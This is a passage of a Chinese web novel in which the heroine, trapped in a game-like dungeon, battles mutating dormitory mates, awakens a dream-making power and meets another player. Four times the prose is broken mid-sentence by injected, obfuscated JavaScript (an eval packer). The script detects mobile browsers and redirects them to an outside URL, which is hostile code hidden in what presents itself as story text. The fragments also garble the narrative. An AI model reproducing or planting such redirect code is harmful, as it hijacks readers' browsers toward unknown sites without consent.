但她畏于监管部的高威和娱乐部的神秘，并不敢对这两个地上部门有所抱怨，只好将怒火投射于地面上的医疗部分区。 目前状态：异化中】 【解锁奖励：200积分（余额：1000）】 【积分总额达到1000，解锁游戏商店，宿主可凭积分购买物品。】 牧懿看了看倒在地上的刘岚，想起武凌显特别提到的赌约。 这副本里的人到目前为止就没有废话，牧懿不会平白无故听到两人的私事。 【“莫云”扮演任务隐藏支线已开启： 《见证刘岚和武凌显的赌约》 预计完成奖励：200积分】 牧懿打开游戏商店，一眼望去全是各种很实用的物品，比如绳索、充电器、匕首之类的，并没有技能类商品。 物价只比副本里的商店高了一点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586099|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牧懿在药剂分类里扒了好久才找到一瓶恢复药水。 这东西牧懿以前见过，可以帮助被异类感染的人类短暂恢复神智，时限一小时。 牧懿花两百积分买了一瓶。 她盘算着一瓶药只能维持一小时，就算完成了这个见证赌约的任务，晚上回来之后牧懿还要刘岚给她这一天打分好评呢。 但她积分并不充裕，只能先买一瓶试一试。 牧懿扛起刘岚，站在门口要走的时候，牧懿才喂她喝下恢复药剂。 夜色降临之时，沿着那条大道往东看去，只见黑色的迷雾之中忽然升起一座巨大的舞台。 霓虹灯将灯光四溢至整片广场，东方的天际亮如白昼。 现在是晚上时间六点整，北区广场上挤满了为演唱会欢呼呐喊的观众们，而台上的主持人也开始热场子了。 威浦集团的娱乐部每逢周三、周六和周日晚上都会举办娱乐表演，像演唱会、舞台剧、脱口秀等。 这些表演会被官方录制并上传到内部使用的“娱乐”APP上，作为职工的重要娱乐来源。 换言之，就算让大家刷手机，也只能看这些早就已经看腻了的表演。 可以看出监管部对于集团内部职工的掌控体现在方方面面。 牧懿坐在长凳上，划拉着手机上的娱乐软件，随便看看今晚新登台的“TwirlyGirls”女团预告资讯。 “TwirlyGirls”一共有五人，之前已经经过了多方投票选拔，人员虽然定好了，但粉丝之间争Title争得厉害，尤其是海莉和林赛关于谁是C位厮杀得很激烈。 舞台预告海报上她们两人只有影子，看不出谁是C位，投票人数也被刻意马赛克糊住，就是等今晚最终亮相时才揭晓。 看来武凌显和刘岚便是在这二位身上打了赌。 台上的音乐声响彻整个广场，巨大的屏幕确保台下的每个人都可以看到台上的歌手爱豆们。 台下的大家热情四溢，尤其是在牧懿身边又蹦又跳的武凌显。 “啊啊啊啊啊姜宝妈妈爱你！” “茜茜看我了啊啊啊啊啊！” …… 诸如此类的欢呼声刺激着牧懿的耳膜。 “女士们先生们，接下来有请‘TwirlyGirls’上场！” 震耳欲聋的欢呼声瞬间淹没了主持人的声音，万众瞩目之中，舞台升降台上五位身姿姣好的爱豆们摆好造型随着音乐嗨跳起来。 “刘岚刘岚快看快看！是之前我投的海莉！她竟然真的C位出道了！怎么说，当初的打赌还算不算话？”武凌显突然拽住刘岚尖叫。 她兴奋地手舞足蹈，朝着台上那个一头金发、气质超飒的海莉激动尖叫。 而她左手边那个眼神坚毅、魅力四射的粉发女郎便是林赛。 牧懿对照着手机上的图片，确认了海莉和林赛的样子。 两人无论是颜值还是唱跳都不分上下，怪不得有那么多人为她们疯狂。 而武凌显此时已经拉着刘岚来到了伊淮身边。 “队长队长，上周你也在场的，新团"TwirlyGirls"首秀，娱乐部发起投票，按照投票结果定谁第一，今晚的表演谁就是C位。现在是海莉赢了，我赌赢了！” 伊淮轻轻地点了点头，武凌显见状高兴地欢呼。 “那按照赌约，我接下来一周的衣服就交给刘岚啦！欧耶！” 武凌显在场上欢呼雀跃，惨白的肤色透过霓虹灯反射到牧懿眼睛里，让人忍不住眨眼。 话题中心的刘岚并没有反对，她只是呆坐在长凳上，看起来精神不振。 自从她从洗手间出来之后，就一直这个样子。 牧懿估摸着，刘岚的精神值已经降得很低了，不然喝了回复药剂的她不可能是这种状态。 这倒令牧懿生疑。 8. 旋转永不停歇8 刘岚整个人呆坐在伊淮旁边，精神不振。 伊淮把她的头放在自己肩膀上，轻轻拍了拍刘岚的肩膀，像对待小孩子一样。 牧懿倒是第一次看见伊淮这般温柔的样子。 牧懿待在375队一天了，与伊淮的对话甚至还不超过五句，此人深藏不露、似乎永远在注视着队内的所有人。 伊淮可以及时注意到上午刘岚的异常，也能开口帮牧懿借衣裳，甚至在刚才吃完晚饭出门前，叮嘱武凌显和散越儿提前去买新的应援棒。 可以说细致入微，如同高冷大姐姐一样关照着所有人。 正当牧懿在心中感慨的时候，有一道冷峻的目光忽然射向牧懿。 牧懿警惕地朝目光的来处瞥了一眼，却倒吸一口气—— 那目光是从伊淮左边太阳穴的位置发出的，那里骇然长着一只硕大的眼球，像是圆形摄像头一样旋转扭动。 牧懿一眨眼，那只多出来的眼珠子突然又消失了。 伊淮在异化！ 牧懿在心中惊呼着，这个宿舍里竟然有两个异化中的人类，还有散越儿那个未知的异能者…… 不对，散越儿呢？ 牧懿最后一次见到她是在进入洗手间之前。 当时隐约听见散越儿告诉伊淮自己要去买东西，让她们不用等她先去看演出，之后牧懿就再也没见到过她。 牧懿决定先回宿舍查探一番。 她不动声色地站起身来：“队长，我有点困了，想先回宿舍。” 伊淮扭头用右眼侧视她一眼，目光停留在牧懿身上片刻。 没反对那就当是同意了，牧懿穿过人群来到花坛边，默念通行咒语： “旋转是人类最美妙的舞姿，从上到下，由远及近，所念必至。” 眩晕感仅仅持续了三秒钟，牧懿再次睁眼时便已经来到了375宿舍门口。 现在是晚上七点，几乎所有人都在地上广场看演出。 地下这条长长的走廊内几乎瞧不见一两个人影。 可375宿舍的门却漏出一条门缝。里面没有开灯，唯有走廊的光透进去几分。 牧懿屏住呼吸，想要悄咪咪推门进去。 突然之间，斜对面那条后勤部通道口传出一阵窸窸窣窣的响声，在安静的走廊里格外明显。 牧懿贴在对面的窗口上，小心翼翼地靠近后勤部通道。 这条通道只有短短的几米，尽头就是C区清洁间的侧门。 牧懿悄悄靠近C区清洁间，但自己的脚步越来越沉重，每走一步就好像踩到了黏兮兮的糖液似的。 她停在清洁间侧门门口，一股刺鼻的糖浆味直逼牧懿的鼻腔。 她屏住呼吸，稍稍踮脚便可透过门上的窗户看见里面的动静。 从这个视角看去，清洁间内有一张桌子，上面整整齐齐地摆好了一桌子筷子—— 准确来说是用筷子搭建出的一个木盒，盒子里隐约有东西在发亮。 【警告！警告！】 【检测到混沌boss碎片！】 木盒中的亮光猛地变得更亮，牧懿忍不住眨了眨眼。 就在此时，清洁间的地上有一道影子忽然朝门外袭来。 不好！ 牧懿扭头就跑，根本来不及看影子的主人是谁。 她踩着黏糊糊的地板逃进了一旁的商品窗口，身子倚在一个商品货架上，粗暴地拧开矿泉水瓶，倒在自己手上。 【已使用“化水为刃”】 匕首的反光面映射出牧懿的紫色眼睛，她警惕地等着影子离她越来越近。 这里的窗口都是互通的，牧懿根本没办法找到躲藏之处。 空气仿佛凝固在此刻，没有脚步声，也没有衣服在走路时摩擦在一起的声音。 牧懿眼神凌厉，大脑飞速运转。 只见那道黑色的影子慢慢贴近了牧懿背靠的货架，货架左侧咻地冒出无数根黑色的长线，精准地瞄定牧懿。 牧懿向后一跳，手中的匕首毫不犹豫地朝前一划。 那些黑线咻地脱落在地上，下一秒却有无数条黑线朝牧懿袭来。 “你在找我吗？” 散越儿顿顿的人机感高音一下子就冲垮了牧懿的耳膜。 她浑身的长发飘荡在空中，只剩下遮盖住右眼的那片刘海儿还牢牢地留在原地，其余的黑发疯狂生长，拖在地上、飘在空中，朝牧懿龇牙咧嘴。 “啪！” 牧懿后脑勺的皮筋断裂，整个人的头发跟炸了毛的猫一样冲天而立，像是在呼应散越儿。 牧懿的左耳被散越儿发出的高分贝噪音刺痛，流出血来，与耳后的黑紫色挑染混合在一起。 周围风声四起，两人剑拔弩张地对峙着。 “你果然是异能者，但你身上的力量不纯粹……刘岚和伊淮异化是不是你搞的鬼？” 牧懿一只手捂住被刺痛流血的左耳，另一只手顺手拿起旁边货架上的杂物朝对方身上扔去，准备跳窗逃走。 “一群蝼蚁罢了。你跟之前犯错的人不一样，我本想留你一命，可你太不老实了。” 散越儿的声音多了一丝疯狂，可她连动也没动，身侧的长发就已经缠绕住了牧懿扔来的各种东西，开始攻击牧懿。 牧懿大步一跃跳出了窗口，来到了宿舍对面的走廊上，这里并没有糖液铺在地上。 牧懿想起刚才在清洁间里的奇异盒子和腻到要吐的甜味，散越儿一定是在里面用了什么法阵。 身后的散越儿穷追不舍，牧懿眼前开始出现各种散越儿的独眼头像。 对方是艺术家，异能就是控制迷惑人的感官。 此刻的散越儿像猫逗老鼠一样露出诡异的僵硬微笑，牧懿逃跑途中不小心撞开了375宿舍的门。 虽然屋内黑漆漆的，牧懿来不及开灯，立刻拿起门边的紧急电话。 威浦集团规矩森严，医疗部就连“异化”和“异类”这种词都不能提，可想而知集团对于异类的重视程度。 监管部养的那群傀儡可不是吃素的，散越儿此刻明显出现了异常，它们不会坐视不管的。 可牧懿刚刚拿起电话，还没来得及按报警键，就被散越儿的头发裹住了身躯。 但那些长发触碰到牧懿腰间的刹那，就像突然着火了一样碎了一地。 牧懿腰间藏着的那块混沌boss碎片忽然亮起来，把整间宿舍照的如同开了灯一样。 那些头发见了碎片就像见到了火一样，畏怯着不敢靠近。 站在门口的散越儿见到这一幕突然跟发了狂一般，眼睛里的狠毒之意快要溢出来了。 她整个人调动所有感官，势必要让牧懿陷于五感错乱的必死境地之中。 牧懿整个人如同虚脱一般倒在地上，她现在的身体状态还没有完全恢复，对付一个正在异化的异能者明显很吃力。 她的七窍都在流血，一股惊涛骇浪般的冲击从散越儿身上直射进牧懿脆弱的凡人之躯内。 牧懿的手指忍不住扭曲着撕挠着自己的脸和身体，那种特别痒的感觉又出现了，就跟之前被刘岚感染的时候一模一样。 四面八方全是散越儿的恐怖身影，空中、地上和身后……她的那只独眼如同漩涡一般席卷着整个宿舍内的东西，包括被紧紧束缚着的牧懿。 散越儿的笑声化作利刃刀刀刺向牧懿的大脑。 错觉、全是错觉，一定是错觉，她是艺术家，不要相信她！ 牧懿喊出“眼见为真”时，空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586100|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的那些散越儿的身影瞬间烟消云散。 她手里残余的水重新凝结成新的利刃，突破了散越儿的束缚。 “不！不可能！你一个没有异能的人类怎么会！” 散越儿疯狂地大叫起来，使出浑身懈力攻击牧懿。 可牧懿此刻已经手握利刃重新站了起来，她的手触碰到腰间的灼热碎片。 尽管散越儿拼命遮挡混沌boss碎片发出的耀眼光亮，但牧懿在“眼见为真”的加持下，她还是轻松察觉到了这碎片的威力。 牧懿猛地抓握住这颗滚烫的碎片，朝散越儿的独眼狠狠砸去。 散越儿爆发出一道尖锐的爆鸣，碎片把她的眼睛烫出了洞。 刚才还在嚣张飞舞的头发瞬间歇菜，向内急剧收缩，回到了它们该回的位置上去了。 散越儿尖叫着把碎片从头颅里拿出来，颤抖着朝空中随手一扔，紧接着就捂住眼睛所在的地方嚎叫。 牧懿被施加的各种痛觉一下子消失了，她眼神一凛，不顾刚才被灼伤的痛楚接住那颗混沌boss碎片。 可碎片碰到她的瞬间就变回了原来的样子，一颗灰白色的硬骨头。 牧懿还没来得及仔细观察，下一刻就被一股巨大的力量吸入了系统空间内。 【恭喜NPC牧懿收到了死亡之神的邀请，你已觉醒异能。 职业：安眠师。】 牧懿错愕地看着眼前漂浮起来的游戏屏幕，上面赫然就是一张邀请函的模样。 安眠师，【死亡】之神麾下的异能者职业，擅长催眠造梦。 牧懿忽然笑出声来，好荒谬的邀请。 她前世兢兢业业干了一辈子，都没有觉醒异能，只好凭自身的武艺谋生。 这才重生一天，神就注视到了她。 牧懿心中五味杂陈。 她闭上眼睛调整呼吸，手里的混沌boss碎片却挣扎着动了起来。 牧懿睁开眼，却突然发觉自己身处医疗部九区的手术室内。 她站在门边，混沌boss碎片突然飘向对面的1号手术室标牌上，钉在了标牌里，就像镶嵌的钻石。 牧懿立刻上前去查看混沌boss碎片的情况。 碎片已经融进了手术室门牌上，不仔细看的话还以为是什么装饰物。 牧懿警惕地跑向休息室和医生办公室，里面都空无一人。 这到底是怎么回事？ 系统：【此处是你构建的梦境空间，这里的场景往往跟安眠师本人最深刻的记忆有关。】 【安眠师的异能为催眠造梦，你刚才一念之间便建成了此处梦境，已显现出非凡的天赋。】 牧懿缓缓地走在医疗部走廊上，脑海中闪过许多事。 这里的确是她待的时间最长的地方，被困在副本里的那段回忆太过于清晰，以至于她的天赋也跟此有关。 她当时重复循环的剧情恰好是被注射麻醉剂后意识几近模糊的片段，冥冥之中与安眠师正好相配。 牧懿不愿再回忆，继续发问：那这个混沌boss碎片为什么会镶进门牌里？我该怎么做才能净化它？ 系统：【检测中……】 【检测到混沌boss碎片已净化完毕。】 牧懿：？ 【哔啵哔啵，滴——安眠师牧懿所创造的梦境空间已成为混沌boss的净化通道。】 【被带入该空间的混沌boss碎片可自行净化并作为标本留在此处。】 【是否查看混沌boss碎片留下的信息？】 牧懿点点头，那颗已镶进门牌内的碎片忽然发亮，闪出几行文字。 牧懿一看见上面的名字，便猛地睁大了双眼。 是之前那个断臂女人！ 9. 旋转永不停歇9 【郁桐舟 实验编号：002（甲组） 年龄：29 实验周期内平均可承受互抽组数：127 处理结果：丢弃】 郁桐舟的头像浮在半空中，那是一张死气沉沉的脸。 尽管这张头像上的她两只胳膊还是完整的，头发也是正常的黑色，但牧懿一眼就凭她眼底的凹陷认出她就是之前的断臂女人。 牧懿的直觉异常强烈，她的手莫名其妙地颤抖起来，一股难以言表的悲伤涌上牧懿心头。 她与郁桐舟必定相识，但牧懿无论如何也想不起来两人之间的记忆。 这个实验又是什么东西？ 既然当初牧懿和郁桐舟是同一批送来处死的，牧懿必然也是这个实验中的一员。 牧懿那双凌厉的紫眸忽然瞥见“互抽”两个字，脑海里猛地想起晚饭后在洗手间的事。 牧懿一共三次发现自己身上有奇怪的鞭痕。 第一次是牧懿接触到刘岚的诡异物后被感染，她的精神值明明还有六七十，却控制不住抓挠身上的鞭痕，差点发生异化。 第二次是击退镜中散越儿的攻击之后，牧懿和刘岚身上都显现出了恐怖的鞭痕。 第三次则是刚才与狂暴散越儿对峙时，牧懿的五感受到强烈冲击，同时出现了鞭痕抓痒难耐的场景。 系统之前说过，混沌boss会对副本内的正常NPC施加消极影响，那混沌boss碎片应该也同样拥有这种能力。 恰巧牧懿发现第二块混沌boss碎片时，散越儿正在C区清洁间内布下法阵—— 难道散越儿身上的力量与混沌boss碎片有关？ 从牧懿一开始注意到散越儿开始，就觉得此人并非是她表现出的人机感那么简单。 刘岚和伊淮的异化状态说不定也是她搞的鬼。 要搞清楚这一切，就必须拿到第二块混沌boss碎片。 牧懿眼前那颗混沌boss碎片残余的信息如雾一般消散了。 再睁眼，她已经从梦境空间中出来，回到了375宿舍。 牧懿一下子被三个人包围了。 伊淮、刘岚和武凌显不知何时回到了宿舍，她们把牧懿包围在宿舍正中间。 “你干什么去了？”正对着牧懿的伊淮阴森地开口发问。 伊淮太阳穴的位置凭空冒出来两只眼睛，圆滚滚的像玻璃球，惊悚地盯着牧懿的脸。 她那双强有力的大手紧紧握住牧懿的肩膀，气势强大。 牧懿还没来得及编理由，只听见另一道低沉中带着些怒气的声音从左边传来。 “你不是要留在我们宿舍吗？为什么还要走！”刘岚不再是看表演时那股死气沉沉的样子，她面目扭曲，说话时后槽牙都在用力。 牧懿喂她喝的回复药剂还不到一个小时，她怎么突然变得这么怨气冲冲？ 突然，一双冰凉的手攀上牧懿的右臂，轻轻划了一下。 “诶，莫云你身上怎么也有这么多的鞭痕？我以为你这么好的皮肤是不会留疤的。” 武凌显的语气听起来天真中带着一丝疑惑，但她黑亮的大眼珠中那股偏执的味道跟上午的时候一模一样。 三个人揪着牧懿不放，嘴里依旧噼里啪啦地往外冒泡。 伊淮：“作为375的队长，我有权知道你的行动轨迹！” 刘岚：“你明明答应我晚上留在我们宿舍睡觉的！你明明答应留在这里的！” 武凌显：“你是不是也觉得我太矫情了，所以才不愿意告诉我皮肤科专家的名字？” …… 这几个人跟疯了似得逼问牧懿。 牧懿被三个人紧紧按住、难以动弹。 她们根本没给牧懿说话的机会。 牧懿手边没有水，没办法使用“化水为刃”。 正当她寻找突围的方法时，却突然想起这个宿舍里少了一个人。 散越儿哪去了？ 她身上的混沌boss碎片还没取呢，不能再跟这些人浪费时间了。 牧懿左拳猛地劈开伊淮禁锢她肩膀的那只手，一个横踢绊倒右边身材相对娇小一些的武凌显，眼疾手快地把三号桌上的水杯推倒。 【已使用“化水为刃”】 牧懿一手执长剑，毫不犹豫地朝伊淮刺去。 伊淮敏锐的四眼早就发现了牧懿的不对劲，她从腰间拿出钢鞭，做出战斗姿态。 武凌显和刘岚分别立于伊淮两侧，三人手持钢鞭，气氛剑拔弩张。 这时一道刺耳的机械音从宿舍的暗处响起： “大家这么欢迎你，你怎么就是不接受呢？” “刘岚，她是医疗部大楼的人，我们愿意收留她，她不该感谢我们吗？” 散越儿的话音刚落，刘岚的眼睛陡然睁大，眉毛拧在一起，双眼中的愤恨与嫉妒在顷刻间放大数百倍。 她身上的外套被膨胀的躯体撕裂，触目惊心的疤痕迅速蔓延全身。 不好！在散越儿的刺激下，刘岚彻底异化了！ 可散越儿的声音继续响起：“伊淮，宿舍内出现了破坏纪律和团结的人，你是不是该尽到队长的职责？” 伊淮正面的双眼紧紧盯着牧懿手中的长剑，下一刻就朝牧懿冲了过去。 她大喝一声，如同猛兽一般丧失了理智，嘴里如同复读机一样重复着“我的宿舍是最和谐的！” 刘岚疯狂大笑着，从胸膛里掏出一厚沓纸，像扔飞镖一样对准牧懿的方向。 【警告！该区域异类浓度过高，请宿主注意。】 牧懿听见系统的警告时，已经冲出宿舍门，把异化完成的伊淮和刘岚引到了外面的走廊上。 她用剑躲掉刘岚的飞镖纸，上面隐约能看见密密麻麻的红色字迹，那是刘岚异化后凝结的“诡异物”，沾满了诡异气息。 而这个时候伊淮重重地扬起鞭子趁牧懿不备偷袭她。 牧懿重重地摔在地上，嘴里吐出一大摊血。 刘岚见状更加疯狂了，她怒吼着要撕裂牧懿。 千钧一发之际，牧懿眼前的鲜血忽然一跃而起，化作利刃穿过刘岚身侧盘旋的“诡异物”飞镖纸，正中刘岚眉心。 空气在一瞬间凝固，刘岚无声地仰面栽地，死不瞑目。 伊淮见刘岚倒下，身体下意识地要去扶她，却只抓住了一团黑气。 下一秒，牧懿抹了抹唇边的血，趁机大步一跃迅速用食指和中指戳向伊淮暴起的两颗眼珠。 伊淮惨叫一声，左右太阳穴位置的那两颗多出来的眼睛像松动的螺丝一样崩了出来。 瞬间烟消云散。 伊淮和刘岚的尸体已经消散，只剩下衣服松松垮垮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586101|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地留在原地。 牧懿刚才故意被她们打倒在地、口吐鲜血，只为了此刻能够利用自己的血去穿透对方的死穴。 她能用这个办法还多亏了散越儿。 牧懿刚才在宿舍碰到那杯水的瞬间就感到一股灼热之意侵入体内，那种感觉与之前散越儿攻击她时一模一样。 牧懿借助刘岚的攻击把这股力量给逼了出来，化作一滩浓血。 正因为这血中有着散越儿的力量，一直受着散越儿影响的刘岚和伊淮才会被一击毙命。 空气中传来一股强烈的抽搐和翻江倒海般的怒意。 这是散越儿爆发出来的气息。 她刚才被混沌boss碎片所伤，身体难以现形。 当时牧懿突然消失，散越儿顾不上去找她，只好暂避气息、施法躲在自己那杯净水里缓一口气，试图修复自己的眼睛。 但她没想到牧懿竟然自己又回到了宿舍里。 散越儿便在暗中挑拨伊淮她们的情绪，企图借伊淮她们的手除掉牧懿。 但没想到牧懿竟然察觉到了她的藏身之处，还反借自己之手杀死了伊淮和刘岚！ 散越儿气极了。 但当白得像吸血鬼的武凌显一脸茫然地出现在宿舍门口时，散越儿咯咯咯地笑出了声。 “凌显，你还记得之前答应我的话吗？我们不是说好了要一起请假去陪你看皮肤科吗？” 武凌显一听到“皮肤科”三个字，立刻收回了捡伊淮和刘岚衣服的手，欢欣雀跃地说：“我当然没忘！我们明天就去好不好！” 散越儿蛊惑的声音从空中飘来： “可是……莫云好像并不打算告诉我们她认识的专家是谁呢，我们万一遇见的大夫不靠谱……那你的皮肤什么时候才能便正常？” 武凌显的脖子僵硬地扭过来面对牧懿：“莫云，你真的不打算帮我吗？” 她的黑眼珠对上牧懿的紫色瞳孔，下一刻浑身的皮肤裂了开来，像是混白的蜡像在太阳下面暴晒太久，顺着深刻的纹路一点点崩裂开来。 武凌显整个人异常僵硬，表皮裂开之后就像变成了傀儡一般，嗖的一下子飞到牧懿眼前。 牧懿被武凌显贴脸开大，脚步趔趄了一下。 她现在找不出散越儿的准确位置，甚至难以确认武凌显的弱点。 她手上能用的道具所剩无几，牧懿突然想起刚才的梦境空间。 如果能把武凌显拉进梦境空间里，说不定还能一搏。 牧懿集中精神，试图再一次制造梦境空间，却听见系统提示： 【梦境空间正在冷却中。】 【由于宿主安眠师等级过低，不可在短时间内连续召唤梦境空间。】 武凌显现在堪称是大理石化成人形，坚硬的手轻轻一捏就捏碎了牧懿刺向她的那把剑。 牧懿飞奔起来，身后的武凌显如鬼魅一般穷追不舍。 藏在暗处的散越儿发出机械的笑声，彷佛在嘲笑牧懿的不自量力。 “莫云，我以为你会帮我的，没想到你跟之前来思过的那些人一样，越儿说得对，得不到那就杀掉吧！” 牧懿一头钻进了后勤通道里，却被突如其来的一个人影拉进旁边的门里。 刹那间，一道弧线从牧懿头顶略过，抛向门外。 火光瞬间照亮了狭小通道上的一切。 10. 旋转永不停歇10 后勤通道上烈火四起，牧懿被烟味熏得捂住了鼻子，她一抬眼却看见一个粉发女孩站在她对面。 “你怎么这么倒霉，居然跟375宿舍的那些怪物们待了整整一天！” 粉发女孩的声音甜美可爱，隐约带着一股笑意。 牧懿有些摸不着头脑地盯着对方漂亮的脸，但外面大火燃烧产生的烟味呛到了牧懿。 她立刻捂住鼻子趴在门上方的窗格往外瞧。 地上的火舌迅速蔓延开来，牧懿低头看向自己鞋底，之前踩到的糖液不见了，反而多了一些酒精残余物。 空气中的味道也不只有烟味，那股甜味似乎在慢慢消散，取而代之的是酒烟混合物的刺鼻味道。 牧懿心中生疑，她当时回来找散越儿时，明明在后勤通道附近踩到了很黏的糖液 什么时候被人清理了？ 还有眼前这个陌生的粉发女孩，她又是什么时候注意到自己的？ 粉发女孩似乎察觉到了牧懿的怀疑，她低声说：“你刚来这个副本吧？我是虞雾泱，幸会！” 玩家？ 牧懿敏锐地捕捉到虞雾泱的话外之意。 “我叫……莫云，”牧懿不自然地咳了一下，但立刻补充道，“刚进副本第一天，刚才多谢你。” 虞雾泱眼角上扬，笑道：“不客气，这个副本里玩家很多，我就在380商品窗口卖货，有事可以随时来找我！” 她并未多说，却要绕过牧懿打开门。 牧懿情急之中猛地握住她要开门的手：“等一下！” 这时外面突然传来一阵沉闷的低吼声。 只见一个高大的宛如雕像一般的武凌显艰难地从火光之中爬起来。 她石化后的坚硬皮肤已经全部裂开，松松垮垮地黏在皮肤上面，现在几乎看不出人的样子了。 “这么顽强，一个火弹还不够？”虞雾泱美丽的脸上露出一丝惊讶。 她从上衣口袋里掏出新的火珠，作势就要扔出去。 牧懿及时制止了她。 在虞雾泱不解的眼神中，牧懿拿出自己之前抽到的黑色假发，直接戴在头上。 假发牢牢贴在牧懿头皮的瞬间，那片刘海忽然紧紧地遮住了牧懿的右眼。 透过虞雾泱的浅色瞳孔，牧懿看见自己的紫色瞳孔变成了黑色。 “散越儿？”虞雾泱惊呼。 牧懿之前在地上等待表演时，仔细阅读了B级物品“黑色假发”的使用说明。 这顶假发可以让佩戴者短暂易容成他人的样子，是一个性价比很高的迷惑型道具。 虞雾泱观察375宿舍有一段时间了，自然能分辨出散越儿的样子，她一下子就明白了牧懿的计划。 她十分配合地做了个“OK”手势，自己则躲在门后观察牧懿的行动。 此时的武凌显距离这扇门不过三米的距离，她抽搐着想要甩掉身上的火苗，但无论如何都摆脱不了火海的侵蚀。 她的脑海里全是散越儿的影子。 某天武凌显工作时不小心犯了错，被巡视的傀儡抓住关进了禁闭室，不休不止地被傀儡用鞭子抽了整整一天。 夜晚的月光透过窗户缝隙洒进躺着的武凌显身上时，她看见自己浑身布满恐怖的鞭痕，血丝从伤痕处渗出来，像一条条毒蛇一样刻在她的眼上、心上。 武凌显被“毒蛇”包围，控制不住地撕挠自己的皮肤，她大叫着、哭喊着，但没有一个人理她。 直到她的声音慢慢嘶哑，手指缝里全是碎皮和血肉，眼神空洞地向上翻转，一曲温柔的摇篮曲在空气中荡漾开来，包裹住武凌显残破的灵魂。 一个高高瘦瘦的独眼女孩替她擦去了眼角的泪痕，帮她遮盖住浑身的伤痕，给了她全新的如同大理石般的细腻肌肤。 她的生命从此便焕然一新了。 后来，武凌显才知道她的名字叫散越儿。 宿舍里的其他人都觉得武凌显整日抱怨皮肤太差，太过矫情，可只有武凌显自己知道，那条“毒蛇”整日撕咬自己的每一寸皮肤，如同凌迟处刑。 唯有越儿能看见、理解这一切。 “越儿她最爱吃甜的，这条路上的香味一定是莫云诱惑她的陷阱……我要杀了她，我要杀了她！” 武凌显整个人都快被火苗吞噬了，但心中的执念却愈发旺盛，整个人被一团黑气包围着。 可当越儿出现在她面前时，武凌显伸出的手悬停在空中，那股偏执之气一下子消失了。 “越儿，你……” “散越儿”缓缓蹲在武凌显面前，她握住武凌显一只手，僵硬的机械音色中带着一丝温柔：“凌显，回去吧。我已经问过莫云，明天我就陪你去看皮肤科好不好？” 武凌显浑身颤抖着，她的肩膀已经开始融化，但面对着越儿，她好像又回到了白天正常的样子：“好……我，我明天早上早起去给你买豆沙包，我们一起去……” 牧懿克制着自己的情绪，轻轻抚了抚武凌显滚烫的额头：“你还记得我们第一次见面的时候吗？” 武凌显好像又看到了禁闭室里的那个散越儿，如同天神下凡一般赋予了她新生，她嘴角用力地向上咧开：“我们是最好的队友和……家人。” 武凌显顿了顿，她此刻已经没有一口气说完一整句话的力气了。 可正当武凌显看着“越儿”的脸酝酿下一句的时候，一句刺耳的怒吼声打破了两人的和谐。 “凌显，她是假的，不要相信她！她是假的！” 是真正的散越儿的声音！ 牧懿心中一喜，她果然还是忍不住现身了。 “凌显，快杀了她！快！”散越儿气急败坏的声音从空气中飘来，她急切地催促着武凌显动手。 但武凌显的眼睛却一直放在眼前的“散越儿”身上，根本听不见真正的散越儿说话。 牧懿按兵不动，她要逼散越儿现身。 她此刻只需稳住武凌显，就能让对方破防。 而空气中散越儿急切的怒吼声越来越大，原本她今天晚上照例拿出“灼热之石”强化异能之力，却被新来的莫云跟踪发现。 而后她竟然在莫云身上发现了另一块“灼热之石”！ 莫云明明连异能者都不算，怎么可能承受得住“灼热之石”的力量？ 但散越儿自己被“灼热之石”所伤，被迫躲在“净水”里稍作休息，谁知对方竟然一眼看出来自己的藏身之处，打破了“净水”的限制，逼她灵魂出窍、依附在“灼热之石”里难以现身。 现在她居然蹬鼻子上脸，竟敢假冒自己的模样蛊惑武凌显！ 散越儿此刻无论如何呼喊武凌显，对方都没有任何反应，只沉浸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586102|171758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个假货的花言巧语里。 她被愤怒冲昏了头脑，猛地突破了“灼热之石”的限制，朝莫云的方向袭来。 电光火石之间，牧懿一下子跳起躲避了散越儿的攻击。 可武凌显本就苟延残喘的身体根本来不及逃脱，被散越儿的无差别攻击波及陷进地板里。 